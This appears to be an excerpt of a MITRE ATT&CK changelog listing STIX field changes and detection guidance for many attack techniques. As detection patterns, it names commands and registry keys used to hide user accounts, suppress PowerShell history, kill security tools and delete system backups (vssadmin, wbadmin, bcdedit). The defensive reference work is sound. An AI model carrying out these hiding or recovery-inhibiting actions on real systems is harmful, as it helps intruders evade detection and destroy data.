| x_mitre_detection | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:21.879000+00:00 | 2025-10-24 17:49:35.854000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:46:09.378000+00:00 | 2025-10-24 17:48:33.501000+00:00 |
| x_mitre_detection | In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:12.733000+00:00 | 2025-10-24 17:49:27.978000+00:00 |
| x_mitre_detection | It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:44.118000+00:00 | 2025-10-24 17:49:00.036000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:17.378000+00:00 | 2025-10-24 17:48:52.570000+00:00 |
| x_mitre_detection | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:36:31.208000+00:00 | 2025-10-24 17:49:16.957000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firmware: Firmware Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.991000+00:00 | 2025-10-24 17:49:37.207000+00:00 |
| x_mitre_detection | System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:37:02.111000+00:00 | 2025-10-24 17:49:07.201000+00:00 |
| x_mitre_detection | Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:37:16.582000+00:00 | 2025-10-24 17:49:10.643000+00:00 |
| x_mitre_detection | Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) + +Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:16.087000+00:00 | 2025-10-24 17:48:36.535000+00:00 |
| x_mitre_detection | The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates.
+
+Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag.
+
+QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:37:32.347000+00:00 | 2025-10-24 17:48:21.583000+00:00 |
| x_mitre_detection | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:37:47.951000+00:00 | 2025-10-24 17:48:47.303000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:38:13.461000+00:00 | 2025-10-24 17:49:08.938000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:38:32.343000+00:00 | 2025-10-24 17:49:06.846000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:07.443000+00:00 | 2025-10-24 17:48:58.155000+00:00 |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) + +Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) + +Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. + |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Script: Script Execution', 'Active Directory: Active Directory Object Access', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:38:54.812000+00:00 | 2025-10-24 17:48:28.148000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.
+
+Monitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:34.774000+00:00 | 2025-10-24 17:48:50.475000+00:00 |
| x_mitre_detection | It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: + +* Event ID 5136 - A directory service object was modified +* Event ID 5137 - A directory service object was created +* Event ID 5138 - A directory service object was undeleted +* Event ID 5139 - A directory service object was moved +* Event ID 5141 - A directory service object was deleted + + +GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:39:12.196000+00:00 | 2025-10-24 17:49:05.282000+00:00 |
| x_mitre_detection | Monitor for attempts to access SYSVOL that involve searching for XML files. + +Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:39:29.396000+00:00 | 2025-10-24 17:48:32.066000+00:00 |
| x_mitre_detection | Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Drive: Drive Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:11.434000+00:00 | 2025-10-24 17:49:26.803000+00:00 |
| x_mitre_detection | Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. + +Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firmware: Firmware Modification', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:18.639000+00:00 | 2025-10-24 17:49:29.855000+00:00 |
| x_mitre_detection | Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'User Account: User Account Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:39:51.186000+00:00 | 2025-10-24 17:49:05.113000+00:00 |
| x_mitre_detection | Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs.
+
+Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList key.
+
+In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'Application Log: Application Log Content', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'Firmware: Firmware Modification', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'User Account: User Account Creation', 'Process: OS API Execution', 'User Account: User Account Metadata', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:39:52.216000+00:00 | 2025-10-24 17:48:31.407000+00:00 |
| x_mitre_detection | Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata', 'File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:57.767000+00:00 | 2025-10-24 17:49:13.820000+00:00 |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. + +Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Monitor for changes to environment variables, as well as the commands to implement these changes. + +Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. + +Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Command: Command Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:43.995000+00:00 | 2025-10-24 17:49:15.437000+00:00 |
| x_mitre_detection | Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\system32\inetsrv\config\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)
+
+Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:40:30.211000+00:00 | 2025-10-24 17:48:23.845000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:40:43.647000+00:00 | 2025-10-24 17:48:31.764000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:40:57.270000+00:00 | 2025-10-24 17:49:23.837000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:39.823000+00:00 | 2025-10-24 17:48:55.526000+00:00 |
| x_mitre_detection | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
+
+Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:50.696000+00:00 | 2025-10-24 17:49:05.941000+00:00 |
| x_mitre_detection | Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
+
+Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Cloud Service: Cloud Service Disable', 'Firewall: Firewall Rule Modification', 'Command: Command Execution', 'Script: Script Execution', 'Process: Process Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: Process Termination', 'Service: Service Metadata', 'Process: Process Metadata', 'Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'File: File Deletion', 'Sensor Health: Host Status', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Firewall: Firewall Disable'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:24.596000+00:00 | 2025-10-24 17:48:41.123000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. + +Monitor environment variables and APIs that can be leveraged to disable security measures. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Image: Image Metadata', 'Image: Image Creation', 'Image: Image Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:30.983000+00:00 | 2025-10-24 17:48:45.786000+00:00 |
| x_mitre_detection | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. + +In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Sensor Health: Host Status', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:29:20.899000+00:00 | 2025-10-24 17:48:57.704000+00:00 |
| x_mitre_detection | Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.
+
+Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID} |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.031000+00:00 | 2025-10-24 17:49:13.906000+00:00 |
| x_mitre_detection | The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:23.859000+00:00 | 2025-10-24 17:48:40.495000+00:00 |
| x_mitre_detection | Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017) |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Snapshot: Snapshot Deletion', 'File: File Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:22.100000+00:00 | 2025-10-24 17:49:37.297000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.
+
+Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).
+
+For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Driver: Driver Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:02.160000+00:00 | 2025-10-24 17:49:17.884000+00:00 |
| x_mitre_detection | Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:42:10.891000+00:00 | 2025-10-24 17:49:19.322000+00:00 |
